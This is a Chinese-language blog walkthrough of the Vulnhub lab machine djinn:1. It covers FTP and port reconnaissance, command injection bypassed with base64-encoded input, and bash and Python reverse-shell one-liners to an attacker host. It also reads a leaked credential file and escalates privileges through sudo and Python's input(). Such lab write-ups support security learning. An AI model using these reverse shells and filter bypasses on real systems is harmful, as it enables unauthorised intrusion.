banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

djinn:1-Vulnhub Walkthrough

靶机地址

靶机难度:中等
flag 数:2

工具及漏洞信息#

  • netdiscover
  • nmap
  • gobuster
  • ftp 匿名登录下载文件
  • echo 的 bash 和 python 反弹 shell
  • nc 连接指定 ip 做题脚本
  • sudo -l 查看当前用户权限
  • .pyc 文件反编译
  • input () 函数漏洞
  • nc 传输文件

0x01 信息收集#

扫描靶机#

netdiscover-r参数扫描192.168.1.0/16或者路由器管理界面查看有线连接的设备得到靶机ip

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.7

image

21ftp服务貌似可以匿名登录,因为nmap直接给出了ftp连接上后的文件内容

那我们ftp连接一下,查看一下这三个文件的内容:

使用ftp ip命令连接ftp服务器,用户名为匿名:anonymous,密码直接回车即可登录

image

使用mget *.*下载所有文件,会确认你是否要下载,直接回车就可以,也可以直接在ftp交互端cat查看:

image

得到的信息似乎是一个账号和密码,还有提示我们我们1337是一个游戏

ssh的端口状态为filtered就不折腾了

除此之外还有13377331两个端口

1337端口的指纹信息写着:

Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift

猜测是CTF中常见的nc连接然后反弹数学题的操作,和我们上面得到的信息差不多

后面有时间的话会放一个脚本

7331扫描出的信息中包含http-server-headerhttp-title字段,猜测http服务开在这个端口

打开看一下,果然是:

image

扫描漏洞信息#

nmap扫描漏洞信息:

cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7

image

没有啥可以利用的

扫描路径#

刚才扫描我们已经知道了web服务不在默认的80端口而是7331,所以扫描的时候也要记得改

gobuster 扫描路径:

gobuster dir -u http://192.168.1.7:7331/ -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

dirbuster的字典可以通过下载dirbuster原包,然后把字典移入这个目录:

wget https://nchc.dl.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2
tar -jxf DirBuster-1.0-RC1.tar.bz2
cd DirBuster-1.0-RC1/ && mkdir /usr/share/wordlists/dirbuster/ && mv *.txt /usr/share/wordlists/dirbuster/

image

扫描出两个目录/wish/genie,访问ip:7331/wish如下:

image

随便输入东西之后发现跳转到ip:7331/genie?name=后面接上执行的命令,猜测此处存在系统命令注入

0x02 网站身份 getshell#

既然能执行系统命令,那就直接nc反弹一个shell

msf中快速开启监听:handler -H 192.168.1.11 -P 3333 -p cmd/unix/reverse_bash

image

ip:7331/wish中输入nc -t -e /bin/bash 192.168.1.11 3333

结果跳转到genie?name=Wrong+choice+of+words,说明屏蔽了关键词

配合burpsuite来探测屏蔽的关键词

  • 测试 ls 得到网站根目录的文件和目录如下 (%0A 是回车的 URL 编码)
  • app.py
  • app.pyc
  • static/
  • templates/

image

ls -lah也能正常运行,说明没有屏蔽空格

whoami能正常的到结果www-data

uname -a知道了这是台Ubuntu:

image

echo whoami可以执行,于是尝试使用

bash -i >& /dev/tcp/192.168.1.11/3333 0>&1
  • bash -i 表示产生一个 bash 的交互环境
  • 0>&1 将标准输入域标准输出内容相结合,然后重定向给前面的标准输出内容

或者用python来反弹shell也可以:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

将上面的命令用base64加密然后在burp出输入以下命令:

echo 加密的内容 | base64 -d | bash

注意,此处由于网页上执行和burp执行有编码的差异,建议如果在burp上执行的话再把空格和加号用URL编码一下

测试后发现python能反弹shell

image

0x03 普通用户 getshell#

拿到执行网站的用户的shell之后第一步当然是查看当前目录文件:

image

和我们前面用burp拦截得到的结果一样,查看了/etc/passwd得到两个用户samnitish

但是他们用户目录下的文件没有查看权限

于是回到网站根目录来,查看一下app.py文件的内容:

image

大致内容是刚才拦截我们的函数代码,除此之外还得到一个信息:

/home/nitish/.dev/creds.txt

查看这个文件:

image

得到了nitish账户的密码p4ssw0rdStr3r0n9,登录用户之前记得要开启标准的tty:

python -c 'import pty; pty.spawn("/bin/bash")'

image

nitish用户目录下获取到第一个flag

0x04 提权 root#

查看一下当前用户能执行哪些sudo的命令:

image

当前的nithsh账户可以在不使用密码的情况下执行sam用户的genie脚本

看一下genie的用法:

image

有个-p参数写能给我们提供shell,尝试一下:

sudo -u sam genie -p "/bin/sh"

image

-e-p参数都没用,再用strings命令查看/usr/bin/genie的内容

最终知道了还有个参数-cmd,执行命令获得samshell:

sudo -u sam /usr/bin/genie -cmd id

image

当前账户成功切换为sam,那么再来看下sam能以sudo执行什么命令:

image

sam可以执行lago脚本,来执行一下看一下:

第一个Be naughty:

image

没啥乱用,第二个Guess the number:

image

百分之一的概率,似乎比1337端口好弄一点,而且pythoninput()的话是有漏洞的

第三个Read some damn files

image

可以读文件,但是需要知道路径,第四个Work:

image

也没啥卵用,再试一下猜数字,不输入数字,输入其他的:

image

发现竟然在输入num之后能查看/root目录了,执行/root/proof.sh获得rootflag

image

0x05 获取shell原因解密#

我们这纯属瞎猫碰死耗子,其实应该是找到python文件的编译文件pyc

pyc是一种二进制文件,是由 Python 文件经过编译后所生成的文件

然后反编译出原来的.py文件,然后再找input漏洞的,常见的例子如下:

image

也就是没有对输入的字符进行检测,直接按字符串处理,等于设定好的字符串即输出结果

所以我们输入num恰好成功说明Guess the number的函数代码差不多是这么写的:

def guess_the_number():
    input_number = input("Choose a number between 1 to 100:\nEnter your number:")
    if num == input_number:
        return True

我这里尝试反编译一下看是不是,查看sam的用户目录:

image

找到一个.pyc文件,尝试把它反编译成.py文件

先把它传输到攻击机,这里使用nc

靶机开启监听端口并传输文件:nc -lvp 3456 < .pyc

目标机连接靶机并接收文件:nc 192.168.1.6 3456 > .pyc

image

image

等待几秒之后直接在靶机端ctrl+c结束即可

随后我们用uncompyle6反编译.pyc,它是uncompyle2的继承者

uncompyle2只专注于python2.7,虽然有时候准确率比uncompyle6

但是大部分情况下还是uncompyle6准确率高,而且它已经几乎不再维护了

uncompyle6支持几乎你能见到的所有python版本,安装如下:

proxychains git clone https://github.com/rocky/python-uncompyle6
cd python-uncompyle6/
pip install -e .
python setup.py install

就安装完成了,反编译我们的.pyc:

uncompyle6 .pyc -o exp.py

image

果然和我前面猜测的差不多

参考文章:

本文完。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。